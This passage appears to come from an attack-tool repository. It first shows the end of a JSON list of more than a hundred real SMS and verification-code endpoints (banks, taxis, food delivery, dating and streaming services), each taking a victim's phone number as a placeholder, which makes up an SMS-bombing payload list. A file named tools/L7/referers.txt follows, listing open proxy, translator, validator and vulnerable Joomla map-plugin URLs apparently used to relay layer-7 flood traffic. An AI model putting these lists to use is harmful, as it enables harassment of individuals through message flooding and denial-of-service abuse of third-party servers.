"https://menza-cafe.ru/system/call_me.php", 192 | "data": "{'phone':'%phone%','phone_number':'1','fio':'%name%'}" 193 | }, 194 | { 195 | "url": "https://my.mistercash.ua/ru/send/sms/registration?number=+%phone%" 196 | }, 197 | { 198 | "url": "https://my.modulbank.ru/api/v2/registration/nameAndPhone", 199 | "json": "{'CellPhone':'%phone%','FirstName':'%name%','Package':'optimal'}" 200 | }, 201 | { 202 | "url": "https://www.monobank.com.ua/api/mobapplink/send", 203 | "data": "{'phone':'+%phone%'}" 204 | }, 205 | { 206 | "url": "https://my.dianet.com.ua/send_sms/", 207 | "data": "{'phone':'%phone%'}" 208 | }, 209 | { 210 | "url": "https://mos.pizza/bitrix/components/custom/callback/templates/.default/ajax.php", 211 | "data": "{'phone':'%phone%','name':'%name%'}" 212 | }, 213 | { 214 | "url": "https://www.moyo.ua/identity/registration", 215 | "data": "{'phone':'%phone%','firstname':'%name%','email':'%email%'}" 216 | }, 217 | { 218 | "url": "https://prod.tvh.mts.ru/tvh-public-api-gateway/public/rest/general/send-code?msisdn=%phone%" 219 | }, 220 | { 221 | "url": "https://auth.multiplex.ua/login", 222 | "json": "{'login':'%phone%'}" 223 | }, 224 | { 225 | "url": "https://account.my.games/signup_send_sms/", 226 | "data": "{'phone':'%phone%'}" 227 | }, 228 | { 229 | "url": "https://my.dianet.com.ua/send_sms/", 230 | "data": "{'phone':'%phone%'}" 231 | }, 232 | { 233 | "url": "https://www.niyama.ru/ajax/sendSMS.php", 234 | "data": "{'phone':'%phone%'}" 235 | }, 236 | { 237 | "url": "https://my.dianet.com.ua/send_sms/", 238 | "data": "{'REGISTER[PERSONAL_PHONE]':'%phone%','code':'','sendsms':'Выслать код'}" 239 | }, 240 | { 241 | "url": "https://www.nl.ua", 242 | "data": "{'phone':'%phone%','method':'sendCode','registration':'N','sessid':'bf70db951f54b837748f69b75a61deb4','component':'bxmaker.authuserphone.login'}" 243 | }, 244 | { 245 | "url": "https://nn-card.ru/api/1.0/covid/login", 246 | "json": "{'phone':'%phone%'}" 247 | }, 248 | { 249 | "url": "https://secure.online.ua/ajax/check_phone?reg_phone=%phone%" 250 | }, 251 | { 252 | "url": "https://piroginomerodin.ru/index.php?route=sms/login/sendreg", 253 | "data": "{'telephone':'+%phone%'}" 254 | }, 255 | { 256 | "url": "https://pizzakazan.com/auth/ajax.php", 257 | "data": "{'phone':'+%phone%','method':'sendCode'}" 258 | }, 259 | { 260 | "url": "https://pizzasinizza.ru/api/phoneCode.php", 261 | "json": "{'phone':'%phone%'}" 262 | }, 263 | { 264 | "url": "https://cabinet.planetakino.ua/service/sms?phone=%phone%" 265 | }, 266 | { 267 | "url": "https://www.prosushi.ru/php/profile.php", 268 | "data": "{'phone':'+%phone%','mode':'sms'}" 269 | }, 270 | { 271 | "url": "https://sso.cloud.qlean.ru/http/users/requestotp?phone=%phone%&clientId=undefined&sessionId=4224", 272 | "headers": "{'Referer': 'https://qlean.ru/sso?redirectUrl=https://qlean.ru/'}" 273 | }, 274 | { 275 | "url": "https://oapi.raiffeisen.ru/api/sms-auth/public/v1.0/phone/code?number=%phone%" 276 | }, 277 | { 278 | "url": "https://richfamily.ru/ajax/sms_activities/sms_validate_phone.php", 279 | "data": "{'phone':'+%phone%'}" 280 | }, 281 | { 282 | "url": "https://rieltor.ua/api/users/register-sms/", 283 | "data": "{'phone':'%phone%','retry':0}" 284 | }, 285 | { 286 | "url": "https://rutaxi.ru/ajax_auth.html", 287 | "data": "{'1':'%phone%','c':'3'}" 288 | }, 289 | { 290 | "url": "https://sayoris.ru/?route=parse/whats", 291 | "data": "{'phone':'%phone%'}" 292 | }, 293 | { 294 | "url": "https://shopandshow.ru/sms/password-request/", 295 | "data": "{'phone':'+%phone%','resend':0}" 296 | }, 297 | { 298 | "url": "https://smart.space/api/users/request_confirmation_code/", 299 | "json": "{'mobile':'+%phone%','action':'confirm_mobile'}" 300 | }, 301 | { 302 | "url": "https://www.sms4b.ru/bitrix/components/sms4b/sms.demo/ajax.php", 303 | "data": "{'demo_number':'+%phone%','ajax_demo_send':'1'}" 304 | }, 305 | { 306 | "url": "https://suandshi.ru/mobile_api/register_mobile_user?phone=%phone%" 307 | }, 308 | { 309 | "url": "https://sushifuji.ru/sms_send_ajax.php", 310 | "data": "{'phone':'%phone%','name':'false'}" 311 | }, 312 | { 313 | "url": "https://client-api.sushi-master.ru/api/v1/auth/init", 314 | "json": "{'phone':'%phone%'}" 315 | }, 316 | { 317 | "url": "https://www.sushi-profi.ru/api/order/order-call/", 318 | "json": "{'phone':'%phone%','name':'%name%'}" 319 | }, 320 | { 321 | "url": "https://tabasko.su/", 322 | "data": "{'LOGIN':'%phone%','ACTION':'GET_CODE','COMPONENT_NAME':'AUTH','IS_AJAX':'Y'}" 323 | }, 324 | { 325 | "url": "https://lk.tabris.ru/reg/", 326 | "data": "{'phone':'%phone%','action':'phone'}" 327 | }, 328 | { 329 | "url": "https://www.tarantino-family.com/wp-admin/admin-ajax.php", 330 | "data": "{'phone':'%phone%','action':'callback_phonenumber'}" 331 | }, 332 | { 333 | "url": "https://taxi-ritm.ru/ajax/ppp/ppp_back_call.php?URL=/", 334 | "data": "{'BACK_CALL_PHONE':'%phone%','RECALL':'Y'}" 335 | }, 336 | { 337 | "url": "https://msk.tele2.ru/api/validation/number/%phone%", 338 | "json": "{'sender':'Tele2'}" 339 | }, 340 | { 341 | "url": "https://thehive.pro/auth/signup", 342 | "json": "{'phone':'+%phone%'}" 343 | }, 344 | { 345 | "url": "https://m.tiktok.com/node/send/download_link", 346 | "json": "{'Mobile':'%phone%','PhoneRegin':'UA','language':'en','slideVerify':0,'page':{'af_adset_id':0,'pid':0}}" 347 | }, 348 | { 349 | "url": "https://www.tvoyaapteka.ru/bitrix/ajax/form_user_new.php?confirm_register=1", 350 | "data": "{'tel':'+%phone%','change_code':1}" 351 | }, 352 | { 353 | "url": "https://uklon.com.ua/api/v1/account/code/send", 354 | "json": "{'phone':'%phone%'}", 355 | "headers": "{'client_id':'6289de851fc726f887af8d5d7a56c635'}" 356 | }, 357 | { 358 | "url": "https://partner.uklon.com.ua/api/v1/registration/sendcode", 359 | "json": "{'phone':'%phone%'}", 360 | "headers": "{'client_id':'6289de851fc726f887af8d5d7a56c635'}" 361 | }, 362 | { 363 | "url": "https://my.dianet.com.ua/send_sms/", 364 | "data": "{'phone':'%phone%'}" 365 | }, 366 | { 367 | "url": "https://app.doma.uchi.ru/api/v1/parent/signup_start", 368 | "json": "{'phone':'+%phone%','first_name':'-','utm_data':{},'via':'call'}" 369 | }, 370 | { 371 | "url": "https://app.doma.uchi.ru/api/v1/parent/signup_start", 372 | "json": "{'phone':'+%phone%','first_name':'-','utm_data':{},'via':'sms'}" 373 | }, 374 | { 375 | "url": "https://b.utair.ru/api/v1/login/", 376 | "data": "{'login':'+%phone%'}" 377 | }, 378 | { 379 | "url": "https://vezitaxi.com/api/employment/getsmscode?phone=+%phone%&city=561&callback=jsonp_callback_35979" 380 | }, 381 | { 382 | "url": "https://pay.visa.ru/api/Auth/code/request", 383 | "data": "{'phoneNumber':'+%phone%'}" 384 | }, 385 | { 386 | "url": "https://shop.vsk.ru/ajax/auth/postSms/", 387 | "data": "{'phone':'%phone%'}" 388 | }, 389 | { 390 | "url": "https://api.iconjob.co/api/auth/verification_code", 391 | "json": "{'phone':'%phone%'}" 392 | }, 393 | { 394 | "url": "https://api.wowworks.ru/v2/site/send-code", 395 | "json": "{'phone':'%phone%','type':2}" 396 | }, 397 | { 398 | "url": "https://clients.cleversite.ru/callback/run.php", 399 | "data": "{'num':'%phone%','siteid':'62731','title':'Онлайн-консультант','referrer':'https://m.cleversite.ru/call'}" 400 | }, 401 | { 402 | "url": "https://doc.ua/main/callbackrequest", 403 | "data": "{'crm_models_SupportRequest[user_name]':'%name%','crm_models_SupportRequest[user_phone]':'%phone%', 'crm_models_SupportRequest[link]':'https://doc.ua/doctors/kiev/all/psiholog'}" 404 | }, 405 | { 406 | "url": "https://app.cloudloyalty.ru/demo/send-code", 407 | "json": "{'country': 2,'phone': '%phone%','roistatVisit': 47637,'experiments': {'new_header_title': '1'}}" 408 | }, 409 | { 410 | "url": "https://api.mtstv.ru/v1/users", 411 | "json": "{'msisdn': '%phone%'}" 412 | }, 413 | { 414 | "url": "https://api.cian.ru/sms/v1/send-validation-code/", 415 | "json": "{'phone': '+%phone%', 'type': 'authenticateCode'}" 416 | }, 417 | { 418 | "url": "https://api.ennergiia.com/auth/api/development/lor", 419 | "json": "{'referrer':'ennergiia','via_sms':true,'phone':'+%phone%'}" 420 | }, 421 | { 422 | "url": "https://online.sbis.ru/reg/service/", 423 | "json": "{'firstName':'%name%','middleName':'%name%','lastName':'%name%','sex':'1','birthDate':'7.9.1997','mobilePhone': '%phone%','russianFederationResident':'true','isDSA':'false','personalDataProcessingAgreement':'true','bKIRequestAgreement':'null','promotionAgreement':'true'}" 424 | }, 425 | { 426 | "url": "https://tehnosvit.ua/iwantring_feedback.html", 427 | "data": "{'feedbackName':'%name%','feedbackPhone':'+%phone%'}" 428 | }, 429 | { 430 | "url": "https://www.nl.ua", 431 | "data": "{'component':'bxmaker.authuserphone.login', 'sessid':'bf70db951f54b837748f69b75a61deb4', 'method':'sendCode','phone':'%phone%','registration':'N'}" 432 | }, 433 | { 434 | "url": "https://p.grabtaxi.com/api/passenger/v2/profiles/register", 435 | "data": "{'phoneNumber': '%phone%', 'countryCode': 'ID', 'name': 'test', 'email': '%email%', 'deviceToken': '*'}" 436 | }, 437 | { 438 | "url": "https://moscow.rutaxi.ru/ajax_keycode.html", 439 | "data": "{'1': '%phone%'}" 440 | }, 441 | { 442 | "url": "https://api.tinkoff.ru/v1/sign_up", 443 | "data": "{'phone': '%phone%'}" 444 | }, 445 | { 446 | "url": "https://my.citrus.ua/api/v2/register", 447 | "data": "{'email':'%email%','name':'%name%','phone':'%phone%','password':'!@#qwe','confirm_passwor':'!@#qwe'}" 448 | }, 449 | { 450 | "url": "https://youla.ru/web-api/auth/request_code", 451 | "data": "{'phone': '%phone%'}" 452 | }, 453 | { 454 | "url": "https://www.smsint.ru/bitrix/templates/sms_intel/include/ajaxRegistrationTrigger.php", 455 | "data": "{'name': '%name%','phone': '%phone%', 'promo': 'yellowforma'}" 456 | }, 457 | { 458 | "url": "https://lk.invitro.ru/lk2/lka/patient/refreshCode", 459 | "data": "{'phone': '%phone%'}" 460 | }, 461 | { 462 | "url": "https://myapi.beltelecom.by/api/v1/auth/check-phone?lang=ru", 463 | "data": "{'phone': '%phone%'}" 464 | }, 465 | { 466 | "url": "https://app.karusel.ru/api/v1/phone/", 467 | "data": "{'phone': '%phone%'}" 468 | }, 469 | { 470 | "url": "https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms", 471 | "json": "{'phone': '+%phone%'}" 472 | }, 473 | { 474 | "url": "https://www.icq.com/smsreg/requestPhoneValidation.php", 475 | "data": "{'msisdn': '%phone%', 'locale': 'en', 'countryCode': 'ru','version': '1', 'k': 'ic1rtwz1s1Hj1O0r', 'r': '46763'}" 476 | }, 477 | { 478 | "url": "https://terra-1.indriverapp.com/api/authorization?locale=ru", 479 | "data": "{'mode': 'request', 'phone': '+%phone%','phone_permission': 'unknown', 'stream_id': 0, 'v': 3, 'appversion': '3.20.6','osversion': 'unknown', 'devicemodel': 'unknown'}" 480 | }, 481 | { 482 | "url": "https://lk.invitro.ru/sp/mobileApi/createUserByPassword", 483 | "data": "{'password': '%password%', 'application': 'lkp', 'login': '%phone%'}" 484 | }, 485 | { 486 | "url": "https://ube.pmsm.org.ru/esb/iqos-phone/validate", 487 | "json": "{'phone': '%phone%'}" 488 | }, 489 | { 490 | "url": "https://api.ivi.ru/mobileapi/user/register/phone/v6", 491 | "data": "{'phone': '%phone%'}" 492 | }, 493 | { 494 | "url": "https://cloud.mail.ru/api/v2/notify/applink", 495 | "json": "{'phone': '+%phone%', 'api': 2, 'email': 'email','x-email': 'x-email'}" 496 | }, 497 | { 498 | "url": "https://plink.tech/register/", 499 | "json": "{'phone': '%phone%'}" 500 | }, 501 | { 502 | "url": "https://api.gotinder.com/v2/auth/sms/send?auth_type=sms&locale=ru", 503 | "data": "{'phone_number': '%phone%'}" 504 | }, 505 | { 506 | "url": "https://cabinet.wi-fi.ru/api/auth/by-sms", 507 | "data": "{'msisdn': '%phone%'}", 508 | "headers": "{'App-ID': 'cabinet'}" 509 | }, 510 | { 511 | "url": "https://alpari.com/api/en/protection/deliver/2f178b17990ca4b7903aa834b9f54c2c0bcb01a2/", 512 | "json": "{'mobile_phone': '%phone%', 'email': '%email%', 'client_type': 'personal', 'deliveryOption': 'sms'}", 513 | "headers": "{'Referer': 'https://alpari.com/en/registration/'}" 514 | }, 515 | { 516 | "url": "https://it.buzzolls.ru:9995/api/v2/auth/register?phoneNumber=+%phone%", 517 | "headers": "{'keywordapi': 'ProjectVApiKeyword', 'usedapiversion': '3'}" 518 | }, 519 | { 520 | "url": "https://api.wowworks.ru/v2/site/send-code", 521 | "json": "{'phone': '%phone%', 'type': 2}" 522 | }, 523 | { 524 | "url": "https://youla.ru/web-api/auth/request_code", 525 | "data": "{'phone': '%phone%'}" 526 | }, 527 | { 528 | "url": "https://api-prime.anytime.global/api/v2/auth/sendVerificationCode", 529 | "data": "{'phone': '%phone%'}" 530 | }, 531 | { 532 | "url": "https://kasta.ua/api/v2/login/", 533 | "data": "{'phone': '%phone%'}" 534 | }, 535 | { 536 | "url": "https://app.benzuber.ru/login", 537 | "data": "{'phone': '+%phone%'}" 538 | }, 539 | { 540 | "url": "https://bamper.by/registration/?step=1", 541 | "data": "{'phone': '+%phone%', 'submit': 'Запросить смс подтверждения', 'rules': 'on'}" 542 | }, 543 | { 544 | "url": "https://707taxi.com.ua/sendSMS.php", 545 | "data": "{'tel': '%phone%'}" 546 | }, 547 | { 548 | "url": "https://protovar.com.ua/aj_record", 549 | "data": "{'object':'callback','user_name':'%name%','contact_phone':'%phone%'}" 550 | }, 551 | { 552 | "url": "https://e-vse.online/mail2.php", 553 | "data": "{'object':'callback','user_name':'%name%','contact_phone':'+%phone%'}" 554 | }, 555 | { 556 | "url": "https://protovar.com.ua/aj_record", 557 | "data": "{'telephone':'%phone%'}" 558 | }, 559 | { 560 | "url": "https://eda.yandex/api/v1/user/request_authentication_code", 561 | "json": "{'phone_number':'+%phone%'}" 562 | }, 563 | { 564 | "url": "https://api.chef.yandex/api/v2/auth/sms", 565 | "json": "{'phone':'%phone%'}" 566 | }, 567 | { 568 | "url": "https://passport.twitch.tv/register?trusted_request=true", 569 | "json": "{'birthday': {'day': 17, 'month': 10, 'year': 1998},'client_id': 'qb1unb4b2q4t58fwldcbz2nnm46a8zp','include_verification_code': true,'password':'%password%','phone_number': '%phone%','username':'%name%'}" 570 | }, 571 | { 572 | "url": "https://api.sunlight.net/v3/customers/authorization/", 573 | "data": "{'phone':'%phone%'}" 574 | }, 575 | { 576 | "url": "https://register.sipnet.ru/cgi-bin/exchange.dll/RegisterHelper?phone=+%phone%&callmode=1&oper=9" 577 | }, 578 | { 579 | "url": "https://www.ozon.ru/api/composer-api.bx/_action/fastEntry", 580 | "json": "{'phone': '%phone%', 'otpId': 0}" 581 | }, 582 | { 583 | "url": "https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone", 584 | "data": "{'st.r.phone': '+%phone%'}" 585 | }, 586 | { 587 | "url": "https://lenta.com/api/v1/authentication/requestValidationCode", 588 | "json": "{'phone': '+%phone%'}" 589 | }, 590 | { 591 | "url": "https://guru.taxi/api/v1/driver/session/verify", 592 | "json": "{'phone': {'code': 1, 'number': '%phone%'}}" 593 | }, 594 | { 595 | "url": "https://findclone.ru/register?phone=+%phone%" 596 | }, 597 | { 598 | "url": "https://api.delitime.ru/api/v2/signup", 599 | "data": "{'SignupForm[username]': '%phone%', 'SignupForm[device_type]': 3}" 600 | }, 601 | { 602 | "url": "https://api.carsmile.com/", 603 | "json": "{'operationName': 'enterPhone','variables': {'phone': '%phone%'},'query': 'mutation enterPhone($phone: String!) { enterPhone(phone: $phone)}'}" 604 | }, 605 | { 606 | "url": "https://api-prime.anytime.global/api/v2/auth/sendVerificationCode", 607 | "data": "{'phone': '%phone%'}" 608 | } 609 | ] 610 | } 611 | -------------------------------------------------------------------------------- /tools/L7/referers.txt: -------------------------------------------------------------------------------- 1 | https://www.facebook.com/l.php?u=https://www.facebook.com/l.php?u= 2 | https://www.facebook.com/sharer/sharer.php?u=https://www.facebook.com/sharer/sharer.php?u= 3 | https://drive.google.com/viewerng/viewer?url= 4 | http://www.google.com/translate?u= 5 | https://developers.google.com/speed/pagespeed/insights/?url= 6 | http://help.baidu.com/searchResult?keywords= 7 | http://www.bing.com/search?q= 8 | https://add.my.yahoo.com/rss?url= 9 | https://play.google.com/store/search?q= 10 | http://www.google.com/?q= 11 | http://regex.info/exif.cgi?url= 12 | http://anonymouse.org/cgi-bin/anon-www.cgi/ 13 | http://www.google.com/translate?u= 14 | http://translate.google.com/translate?u= 15 | http://validator.w3.org/feed/check.cgi?url= 16 | http://www.w3.org/2001/03/webdata/xsv?style=xsl&docAddrs= 17 | http://validator.w3.org/check?uri= 18 | http://jigsaw.w3.org/css-validator/validator?uri= 19 | http://validator.w3.org/checklink?uri= 20 | http://www.w3.org/RDF/Validator/ARPServlet?URI= 21 | http://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile= 22 | http://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile= 23 | http://validator.w3.org/mobile/check?docAddr= 24 | http://validator.w3.org/p3p/20020128/p3p.pl?uri= 25 | http://online.htmlvalidator.com/php/onlinevallite.php?url= 26 | http://feedvalidator.org/check.cgi?url= 27 | http://gmodules.com/ig/creator?url= 28 | http://www.google.com/ig/adde?moduleurl= 29 | http://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1= 30 | http://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl= 31 | http://host-tracker.com/check_page/?furl= 32 | http://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target= 33 | http://www.onlinewebcheck.com/check.php?url= 34 | http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL= 35 | http://www.translate.ru/url/translation.aspx?direction=er&sourceURL= 36 | http://about42.nl/www/showheaders.php;POST;about42.nl.txt 37 | http://browsershots.org;POST;browsershots.org.txt 38 | http://streamitwebseries.twww.tv/proxy.php?url= 39 | http://www.comicgeekspeak.com/proxy.php?url= 40 | http://67.20.105.143/bitess/plugins/content/plugin_googlemap2_proxy.php?url= 41 | http://bemaxjavea.com/javea-rentals-alquileres/plugins/content/plugin_googlemap2_proxy.php?url= 42 | http://centrobrico.net/plugins/content/plugin_googlemap2_proxy.php?url= 43 | http://conodeluz.org/magnanet/plugins/content/plugin_googlemap2_proxy.php?url= 44 | http://greenappledentaldt.com/home/templates/plugins/content/plugin_googlemap2_proxy.php?url= 45 | http://html.strost.ch/dgi/plugins/content/plugin_googlemap2_proxy.php?url= 46 | http://kobbeleia.net/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 47 | http://krd-medway.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url= 48 | http://minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url= 49 | http://old.ucpb.org/plugins/content/plugin_googlemap2_proxy.php?url= 50 | http://www.abs-silos.de/en/plugins/content/plugin_googlemap2_proxy.php?url= 51 | http://www.admksg.ru/plugins/content/plugin_googlemap2_proxy.php?url= 52 | http://www.autoklyszewski.pl/autoklyszewski/mambots/content/plugin_googlemap2_proxy.php?url= 53 | http://www.build.or.at/plugins/content/plugin_googlemap2_proxy.php?url= 54 | http://www.caiverbano.it/sito/plugins/content/plugin_googlemap2_proxy.php?url= 55 | http://www.cbcstittsville.com/home/plugins/content/plugin_googlemap2_proxy.php?url= 56 | http://www.ciutatdeivissa.org/portal/plugins/content/plugin_googlemap2_proxy.php?url= 57 | http://www.contrau.com.br/web/plugins/content/plugin_googlemap2_proxy.php?url= 58 | http://www.dierenhotelspaubeek.nl/plugins/content/plugin_googlemap2_proxy.php?url= 59 | http://www.gaston-schul.nl/DU/plugins/content/plugin_googlemap2_proxy.php?url= 60 | http://www.gaston-schul.nl/FR/plugins/content/plugin_googlemap2_proxy.php?url= 61 | http://www.gillinghamgurdwara.co.uk/site/plugins/content/plugin_googlemap2_proxy.php?url= 62 | http://www.gilmeuble.ch/cms/plugins/content/plugin_googlemap2_proxy.php?url= 63 | http://www.hortonmccormick.com/cms/plugins/content/plugin_googlemap2_proxy.php?url= 64 | http://www.kanzlei-berendes.de/homepage/plugins/content/plugin_googlemap2_proxy.php?url= 65 | http://www.kita-spielhaus.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 66 | http://www.lacasaencarilo.com.ar/sitio/plugins/content/plugin_googlemap2_proxy.php?url= 67 | http://www.losaromos-spa.com.ar/cms/plugins/content/plugin_googlemap2_proxy.php?url= 68 | http://www.losaromos-spa.com.ar/~losaromo/cms/plugins/content/plugin_googlemap2_proxy.php?url= 69 | http://www.nickclift.co.uk/web/plugins/content/plugin_googlemap2_proxy.php?url= 70 | http://www.palagini.it/palagini/plugins/content/plugin_googlemap2_proxy.php?url= 71 | http://www.parsifaldisco.com/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 72 | http://www.podosys.com/csm/plugins/content/plugin_googlemap2_proxy.php?url= 73 | http://www.renault-windisch.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 74 | http://www.riegler-dorner.at/joomla/plugins/content/plugin_googlemap2_proxy.php?url= 75 | http://www.seevilla-dr-sturm.at/cms/plugins/content/plugin_googlemap2_proxy.php?url= 76 | http://www.sounders.es/plugins/content/plugin_googlemap2_proxy.php?url= 77 | http://www.suelcasa.com/suelcasa/plugins/content/plugin_googlemap2_proxy.php?url= 78 | http://www.tcl.lu/Site/plugins/content/plugin_googlemap2_proxy.php?url= 79 | http://www.tijssen-staal.nl/site/plugins/content/plugin_googlemap2_proxy.php?url= 80 | http://www.triatarim.com.tr/TriaEn/plugins/content/plugin_googlemap2_proxy.php?url= 81 | http://www.tus-haltern.de/site/plugins/content/plugin_googlemap2_proxy.php?url= 82 | http://www.vm-esslingen.de/cms/plugins/content/plugin_googlemap2_proxy.php?url= 83 | http://www.zahnarzt-buhl.de/praxis/plugins/content/plugin_googlemap2_proxy.php?url= 84 | http://www.sultanpalace.nl/site/plugins/content/plugin_googlemap2_proxy.php?url= 85 | http://www.bergenpol.com/cms//plugins/content/plugin_googlemap2_proxy.php?url= 86 | http://www.arantzabelaikastola.com/webgunea//plugins/content/plugin_googlemap2_proxy.php?url= 87 | http://www.fare-furore.com/plugins/content/plugin_googlemap2_proxy.php?url= 88 | http://www.dog-ryusen.com/plugins/system/plugin_googlemap2_proxy.php?url= 89 | http://www.spvgg-roedersheim.de/web/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 90 | http://www.dahlnet.no/v2/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 91 | http://ping-admin.ru/index.sema;POST;ping-admin.ru.txt 92 | http://web-sniffer.net/?url= 93 | http://sova-tour.com.ua/plugins/system/plugin_googlemap2_proxy.php?url= 94 | http://scu-oldesloe.de/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 95 | http://translate.yandex.ru/translate?srv=yasearch&lang=ru-uk&url= 96 | http://translate.yandex.ua/translate?srv=yasearch&lang=ru-uk&url= 97 | http://translate.yandex.net/tr-url/ru-uk.uk/ 98 | http://www.bongert.lu/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 99 | http://laresmadrid.org/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 100 | http://doleorganic.com/plugins/content/plugin_googlemap2_proxy.php?url= 101 | http://crawfordlivestock.com/plugins/system/plugin_googlemap2_proxy.php?url= 102 | http://www.aculaval.com/joomla/plugins/system/plugin_googlemap2_proxy.php?url= 103 | http://grandsultansaloon.com/plugins/system/plugin_googlemap2_proxy.php?url= 104 | http://www.d1010449.cp.blacknight.com/cpr.ie/plugins/content/plugin_googlemap2_proxy.php?url= 105 | http://www.architettaresas.it/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 106 | http://basketgbkoekelare.be/plugins/content/plugin_googlemap2_proxy.php?url= 107 | http://www.arbitresmultisports.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 108 | http://mobilrecord.com/plugins/content/plugin_googlemap2_proxy.php?url= 109 | http://www.dbaa.co.za/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 110 | http://waggum-bevenrode.sg-bevenrode.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 111 | http://bwsnt1.pdsda.net/plugins/system/plugin_googlemap3_proxy.php?url= 112 | http://www.astecdisseny.com/plugins/content/plugin_googlemap2_proxy.php?url= 113 | http://www.fillmorefairways.com/plugins/content/plugin_googlemap2_proxy.php?url= 114 | http://www.bus-reichert.eu/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 115 | http://www.maxxxi.ru/plugins/system/plugin_googlemap2_proxy.php?url= 116 | http://potholepeople.co.nz/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 117 | http://www.hammondgolf.com/plugins/system/plugin_googlemap2_proxy.php?url= 118 | http://www.footgoal33.com/plugins/content/plugin_googlemap2_proxy.php?url= 119 | http://bbtoma.com/plugins/content/plugin_googlemap2_proxy.php?url= 120 | http://www.tajmahalrestaurant.co.za/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 121 | http://www.yerbabuenacuisine.com/plugins/system/plugin_googlemap2_proxy.php?url= 122 | http://www.rinner-alm.com/plugins/system/plugin_googlemap2_proxy.php?url= 123 | http://stockbridgetownhall.co.uk/plugins/content/plugin_googlemap2_proxy.php?url= 124 | http://mentzerrepairs.com/plugins/system/plugin_googlemap2_proxy.php?url= 125 | http://www.tilmouthwell.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 126 | http://www.homevisionsinc.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 127 | http://toddlers.nalanda.edu.in/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 128 | http://cultura-city.rv.ua/plugins/system/plugin_googlemap3_proxy.php?url= 129 | http://secret.leylines.info/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 130 | http://bike-electric.co.uk/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 131 | http://www.centroaquaria.com/plugins/content/plugin_googlemap2_proxy.php?url= 132 | http://agenzia-anna.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 133 | http://www.gretnadrug.com/plugins/system/plugin_googlemap2_proxy.php?url= 134 | http://www.crestwoodpediatric.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 135 | http://www.oceans-wien.com/plugins/system/plugin_googlemap2_proxy.php?url=;BYPASS 136 | http://lavori.joomlaskin.it/italyhotels/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file= 137 | http://santaclaradelmar.com/hoteles/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file= 138 | http://www.authentic-luxe-locations.com/wp-content/plugins/js-multihotel/includes/show_image.php?w=1&h=1&file= 139 | http://www.keenecinemas.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 140 | http://www.hotelmonyoli.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 141 | http://prosperitydrug.com/plugins/content/plugin_googlemap2_proxy.php?url= 142 | http://policlinicamonteabraao.com/plugins/content/plugin_googlemap2_proxy.php?url= 143 | http://www.vetreriafasanese.com/plugins/system/plugin_googlemap2_proxy.php?url= 144 | http://www.benawifi.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 145 | http://www.valleyview.sa.edu.au/plugins/system/plugin_googlemap2_proxy.php?url= 146 | http://www.racersedgekarting.com/plugins/content/plugin_googlemap2_proxy.php?url= 147 | http://www.minterne.co.uk/mjs/plugins/content/plugin_googlemap2_proxy.php?url=?url= 148 | http://www.villamagnoliarelais.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 149 | http://worldwide-trips.com/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 150 | http://systemnet.com.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 151 | http://www.netacad.lviv.ua/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 152 | http://www.veloclub.ru/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 153 | http://www.virtualsoft.pl/plugins/content/plugin_googlemap3_proxy.php?url= 154 | http://gminazdzieszowice.pl/plugins/system/plugin_googlemap3/plugin_googlemap3_proxy.php?url= 155 | http://fets3.freetranslation.com/?Language=English%2FSpanish&Sequence=core&Url= 156 | http://www.fare-furore.com/com-line/plugins/content/plugin_googlemap2_proxy.php?url= 157 | http://www.rotisseriesalaberry.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 158 | http://www.lbajoinery.com.au/plugins/content/plugin_googlemap2_proxy.php?url= 159 | http://www.seebybike.com/plugins/system/plugin_googlemap2/plugin_googlemap2_proxy.php?url= 160 | http://www.copiflash.com/plugins/content/plugin_googlemap2_proxy.php?url= 161 | http://suttoncenterstore.com/plugins/system/plugin_googlemap2_proxy.php?url= 162 | 